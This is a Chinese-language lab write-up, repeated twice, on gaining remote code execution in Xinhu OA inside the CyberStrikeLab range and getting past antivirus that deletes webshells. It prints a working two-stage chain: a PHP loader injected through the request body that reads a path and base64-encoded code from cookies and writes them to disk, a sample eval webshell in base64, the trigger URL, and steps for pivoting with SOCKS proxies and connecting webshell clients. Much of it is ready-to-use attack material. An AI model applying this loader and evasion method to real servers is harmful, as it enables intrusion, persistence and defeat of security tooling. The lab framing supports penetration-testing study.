记一次打靶时的waf绕过
字数 3683 2025-11-07 08:41:54

教学文档:信呼OA普通用户RCE漏洞的进阶WAF/杀毒绕过技术

文档版本: 1.0
发布日期: 2023-10-16(基于原文)
目标读者: 具备一定Web渗透基础的安全研究人员、渗透测试工程师。

一、 背景与概述

在一次针对CyberStrikeLab靶场的渗透测试中,攻击者发现目标内网的第二层存在“信呼OA”系统。虽然网上已有关于信呼OA普通用户权限远程代码执行(RCE)漏洞的复现文章,但直接利用标准方法无法成功。原因是目标服务器上部署了杀毒软件,会立即删除写入的常规Webshell文件。

本文档的核心目标,并非单纯复现该RCE漏洞,而是重点讲解如何基于该漏洞的独特逻辑,设计一种巧妙的免杀Payload,最终实现Webshell的持久化写入。这种思路对于绕过各种基于文件内容检测的WAF和杀毒软件具有很高的参考价值。

二、 漏洞入口与前置准备

  1. 外网突破与内网渗透:攻击者首先通过其他方式获取了第一层服务器的权限(例如:目录扫描发现文件泄露,使用蚁剑连接Webshell),并利用工具(如vshell)进行持久化。
  2. 内网代理:在控制第一台服务器后,搭建Socks代理(例如使用EarthWorm、reGeorg等),将内网流量代理到本地。
  3. 内网扫描:通过代理,使用扫描工具(如fscan)发现内网IP 172.55.2.23 上运行的信呼OA系统。
  4. 漏洞环境访问:在本地配置Burp Suite(BP)通过Socks代理访问目标OA系统。

三、 信呼OA RCE漏洞基础逻辑分析

在进入免杀绕过之前,必须深刻理解漏洞本身的执行逻辑。

  1. 漏洞触发点:通过弱口令登录信呼OA普通用户后台,找到一个可上传或写入文件的功能点。该功能存在逻辑缺陷。

  2. 核心逻辑

    • 该功能会将HTTP请求体(POST Data)中的内容,直接写入到一个文件中。
    • 该文件的文件名也来源于请求中的某个参数。
    • 关键特性:写入的文件会被保存为.php后缀,这意味着写入的内容会被服务器当作PHP代码执行。
  3. 标准复现尝试与失败

    • 成功步骤:写入phpinfo()函数测试。Payload如下:
      • 请求体mode_a{};phpinfo ();class b
      • 生成文件Action.php(假设文件名参数为Action
      • 访问路径:需要URL编码特殊字符(如{ }),例如访问 /path/mode_a%7B%7D;phpinfo%20();class%20bAction.php,可以成功看到phpinfo页面。
    • 失败步骤:当尝试写入一句话木马(如``)时,虽然页面返回“写入成功”,但访问文件时返回404。根本原因是杀毒软件实时监控文件系统,检测到文件内容包含恶意特征,立即将其删除。

四、 免杀绕过思路与技术详解

核心挑战:如何在请求体中写入一个足够复杂、能绕过检测的Webshell,同时避免因特殊字符(如/, \, <, >等)导致文件创建失败或Payload被破坏。

思路演进

  1. 直接写入免杀Shell代码:不可行。复杂的免杀代码通常较长,且可能包含敏感字符,在文件创建阶段就会出错(例如,包含/会创建子目录)。
  2. 创造性解决方案:利用PHP动态执行的能力,将Webshell的“写入”动作分解为两个步骤。第一步写入一个“代码加载器”,这个加载器本身是免杀的;第二步,由这个加载器去接收并写入最终的Webshell。

最终Payload构造与原理

Payload内容:
id=1&name=a{};$v=array_values(get_defined_vars());$c=$v[2];file_put_contents($c[p],base64_decode($c[c]));class d

代码逐行解析:

  1. $v = array_values(get_defined_vars());

    • get_defined_vars(): 返回一个包含当前作用域内所有已定义变量的多维数组。这包括所有超全局变量,如 $_GET, $_POST, $_REQUEST, $_COOKIE 等。
    • array_values(): 提取该关联数组的所有值,重新组合成一个新的索引数组 $v,忽略原有关键字。这使得我们可以通过数字索引来访问变量。
  2. $c = $v[2];

    • 经过测试和推断,$v[2] 对应的是 $_COOKIE 全局数组。这意味着我们将变量 $c 指向了客户端发送的Cookie数据。
    • 提示:索引2可能因PHP版本和环境略有不同,在实际利用前需通过phpinfo()print_r($v)确认。
  3. file_put_contents($c[p], base64_decode($c[c]));

    • 这是核心执行语句。
    • file_put_contents(): 函数,用于将一个字符串写入文件。
    • $c[p]: 从Cookie中名为 p 的字段读取值,作为要写入的文件路径(例如 C:\phpStudy\WWW\webmain\flow\input\shell.php)。
    • base64_decode($c[c]): 从Cookie中名为 c 的字段读取值,该值应该是经过Base64编码的免杀Webshell代码。函数将其解码还原为原始的PHP代码。
    • 整体作用:将解码后的免杀Webshell写入到指定路径的文件中。

为何能免杀?

  • 加载器本身无害:写入的这段PHP代码(加载器)本身不包含任何恶意操作(如evalsystemassert等)。它只是一个简单的文件操作,使用了get_defined_varsarray_valuesfile_put_contents等正常函数,极难被静态检测判定为恶意。
  • 核心载荷分离:真正的Webshell代码并不在HTTP请求体或文件系统中直接出现,而是通过Cookie传递,并且是Base64编码的密文。这有效规避了基于流量内容检测的WAF和基于文件内容扫描的杀毒软件。
  • 动态生成:最终的Webshell是在目标服务器上动态生成并写入的,避开了在文件上传或写入过程中被杀软扫描原始内容的风险。

五、 完整利用步骤

  1. 触发漏洞,写入加载器

    • 使用Burp Suite等工具,向漏洞URL发送POST请求。
    • 请求体(Body)a{};$v=array_values(get_defined_vars());$c=$v[2];file_put_contents($c[p],base64_decode($c[c]));class d
    • 文件名参数:设置为Action(或其他有效参数),最终生成文件名为 Action.php
  2. 构造Cookie,传递最终Shell

    • 准备一个免杀的一句话木马或自定义Webshell代码(例如:<?php @eval($_REQUEST['1']);?>)。为了增强免杀效果,可以使用更高级的混淆技术。
    • 将这段代码进行Base64编码
    • 在浏览器或攻击工具中,为即将发起的请求添加两个Cookie:
      • p=C:\phpStudy\WWW\webmain\flow\input\shell.php (指定最终Webshell的写入路径)
      • c=PD9waHAgQGV2YWwoJF9SRVFVRVNUWycxJ10pOz8+ (上述示例代码的Base64结果)
  3. 访问加载器,生成Webshell

    • 访问第一步生成的文件,例如:http://目标IP/path/mode_a%7B%7D;...code...class%20dAction.php
    • 此次访问会携带包含 pc 的Cookie。
    • 服务器执行加载器代码,读取Cookie,将解码后的Webshell写入 p 指定的路径。
  4. 连接Webshell

    • 直接访问 http://目标IP/path/shell.php
    • 使用中国蚁剑、哥斯拉等工具,配置好Socks代理(因为目标在内网),连接新写入的Webshell。

六、 总结与思考

本案例的精髓在于 “借力打力”“分离原则”

  • 借力打力:充分利用了漏洞“将请求体内容当作PHP代码执行”的特性,没有直接写入恶意代码,而是写入一个功能合法的“工具”。
  • 分离原则:将恶意载荷(Webshell)与加载器分离。加载器轻量、合法,恶意载荷则通过另一种渠道(Cookie)和形式(Base64编码)传输,极大提高了隐蔽性。

这种绕过思路不仅适用于信呼OA的这个特定漏洞,对于任何允许写入有限PHP代码的RCE场景,都具有很强的借鉴意义。在实战中,关键在于灵活运用PHP的语言特性,将攻击链条拆解,从而绕过安全设备的静态规则检测。

教学文档:信呼OA普通用户RCE漏洞的进阶WAF/杀毒绕过技术 文档版本: 1.0 发布日期: 2023-10-16(基于原文) 目标读者: 具备一定Web渗透基础的安全研究人员、渗透测试工程师。 一、 背景与概述 在一次针对CyberStrikeLab靶场的渗透测试中,攻击者发现目标内网的第二层存在“信呼OA”系统。虽然网上已有关于信呼OA普通用户权限远程代码执行(RCE)漏洞的复现文章,但直接利用标准方法无法成功。原因是目标服务器上部署了杀毒软件,会立即删除写入的常规Webshell文件。 本文档的核心目标,并非单纯复现该RCE漏洞,而是 重点讲解如何基于该漏洞的独特逻辑,设计一种巧妙的免杀Payload,最终实现Webshell的持久化写入 。这种思路对于绕过各种基于文件内容检测的WAF和杀毒软件具有很高的参考价值。 二、 漏洞入口与前置准备 外网突破与内网渗透 :攻击者首先通过其他方式获取了第一层服务器的权限(例如:目录扫描发现文件泄露,使用蚁剑连接Webshell),并利用工具(如 vshell )进行持久化。 内网代理 :在控制第一台服务器后,搭建Socks代理(例如使用EarthWorm、reGeorg等),将内网流量代理到本地。 内网扫描 :通过代理,使用扫描工具(如 fscan )发现内网IP 172.55.2.23 上运行的信呼OA系统。 漏洞环境访问 :在本地配置Burp Suite(BP)通过Socks代理访问目标OA系统。 三、 信呼OA RCE漏洞基础逻辑分析 在进入免杀绕过之前,必须深刻理解漏洞本身的执行逻辑。 漏洞触发点 :通过弱口令登录信呼OA普通用户后台,找到一个可上传或写入文件的功能点。该功能存在逻辑缺陷。 核心逻辑 : 该功能会将 HTTP请求体(POST Data)中的内容 ,直接写入到一个文件中。 该文件的 文件名 也来源于请求中的某个参数。 关键特性:写入的文件会被保存为 .php 后缀,这意味着写入的内容会被服务器当作PHP代码执行。 标准复现尝试与失败 : 成功步骤 :写入 phpinfo() 函数测试。Payload如下: 请求体 : mode_a{};phpinfo ();class b 生成文件 : Action.php (假设文件名参数为 Action ) 访问路径 :需要URL编码特殊字符(如 { } ),例如访问 /path/mode_a%7B%7D;phpinfo%20();class%20bAction.php ,可以成功看到phpinfo页面。 失败步骤 :当尝试写入一句话木马(如 ``)时,虽然页面返回“写入成功”,但访问文件时返回404。 根本原因 是杀毒软件实时监控文件系统,检测到文件内容包含恶意特征,立即将其删除。 四、 免杀绕过思路与技术详解 核心挑战 :如何在请求体中写入一个足够复杂、能绕过检测的Webshell,同时避免因特殊字符(如 / , \ , < , > 等)导致文件创建失败或Payload被破坏。 思路演进 : 直接写入免杀Shell代码 :不可行。复杂的免杀代码通常较长,且可能包含敏感字符,在文件创建阶段就会出错(例如,包含 / 会创建子目录)。 创造性解决方案 :利用PHP动态执行的能力,将Webshell的“写入”动作分解为两个步骤。第一步写入一个“代码加载器”,这个加载器本身是免杀的;第二步,由这个加载器去接收并写入最终的Webshell。 最终Payload构造与原理 : Payload内容: id=1&name=a{};$v=array_values(get_defined_vars());$c=$v[2];file_put_contents($c[p],base64_decode($c[c]));class d 代码逐行解析: $v = array_values(get_defined_vars()); get_defined_vars() : 返回一个包含当前作用域内所有已定义变量的多维数组。这 包括所有超全局变量 ,如 $_GET , $_POST , $_REQUEST , $_COOKIE 等。 array_values() : 提取该关联数组的所有值,重新组合成一个新的索引数组 $v ,忽略原有关键字。这使得我们可以通过数字索引来访问变量。 $c = $v[2]; 经过测试和推断, $v[2] 对应的是 $_COOKIE 全局数组。这意味着我们将变量 $c 指向了客户端发送的Cookie数据。 提示:索引 2 可能因PHP版本和环境略有不同,在实际利用前需通过 phpinfo() 或 print_r($v) 确认。 file_put_contents($c[p], base64_decode($c[c])); 这是核心执行语句。 file_put_contents() : 函数,用于将一个字符串写入文件。 $c[p] : 从Cookie中名为 p 的字段读取值,作为要写入的 文件路径 (例如 C:\phpStudy\WWW\webmain\flow\input\shell.php )。 base64_decode($c[c]) : 从Cookie中名为 c 的字段读取值,该值应该是经过Base64编码的免杀Webshell代码。函数将其解码还原为原始的PHP代码。 整体作用 :将解码后的免杀Webshell写入到指定路径的文件中。 为何能免杀? 加载器本身无害 :写入的这段PHP代码(加载器)本身不包含任何恶意操作(如 eval 、 system 、 assert 等)。它只是一个简单的文件操作,使用了 get_defined_vars 、 array_values 、 file_put_contents 等正常函数,极难被静态检测判定为恶意。 核心载荷分离 :真正的Webshell代码并不在HTTP请求体或文件系统中直接出现,而是通过Cookie传递,并且是Base64编码的密文。这有效规避了基于流量内容检测的WAF和基于文件内容扫描的杀毒软件。 动态生成 :最终的Webshell是在目标服务器上动态生成并写入的,避开了在文件上传或写入过程中被杀软扫描原始内容的风险。 五、 完整利用步骤 触发漏洞,写入加载器 : 使用Burp Suite等工具,向漏洞URL发送POST请求。 请求体(Body) : a{};$v=array_values(get_defined_vars());$c=$v[2];file_put_contents($c[p],base64_decode($c[c]));class d 文件名参数 :设置为 Action (或其他有效参数),最终生成文件名为 Action.php 。 构造Cookie,传递最终Shell : 准备一个免杀的一句话木马或自定义Webshell代码(例如: <?php @eval($_REQUEST['1']);?> )。为了增强免杀效果,可以使用更高级的混淆技术。 将这段代码进行 Base64编码 。 在浏览器或攻击工具中,为即将发起的请求添加两个Cookie: p=C:\phpStudy\WWW\webmain\flow\input\shell.php (指定最终Webshell的写入路径) c=PD9waHAgQGV2YWwoJF9SRVFVRVNUWycxJ10pOz8+ (上述示例代码的Base64结果) 访问加载器,生成Webshell : 访问第一步生成的文件,例如: http://目标IP/path/mode_a%7B%7D;...code...class%20dAction.php 。 此次访问会携带包含 p 和 c 的Cookie。 服务器执行加载器代码,读取Cookie,将解码后的Webshell写入 p 指定的路径。 连接Webshell : 直接访问 http://目标IP/path/shell.php 。 使用中国蚁剑、哥斯拉等工具,配置好Socks代理(因为目标在内网),连接新写入的Webshell。 六、 总结与思考 本案例的精髓在于 “借力打力” 和 “分离原则” 。 借力打力 :充分利用了漏洞“将请求体内容当作PHP代码执行”的特性,没有直接写入恶意代码,而是写入一个功能合法的“工具”。 分离原则 :将恶意载荷(Webshell)与加载器分离。加载器轻量、合法,恶意载荷则通过另一种渠道(Cookie)和形式(Base64编码)传输,极大提高了隐蔽性。 这种绕过思路不仅适用于信呼OA的这个特定漏洞,对于任何允许写入有限PHP代码的RCE场景,都具有很强的借鉴意义。在实战中,关键在于灵活运用PHP的语言特性,将攻击链条拆解,从而绕过安全设备的静态规则检测。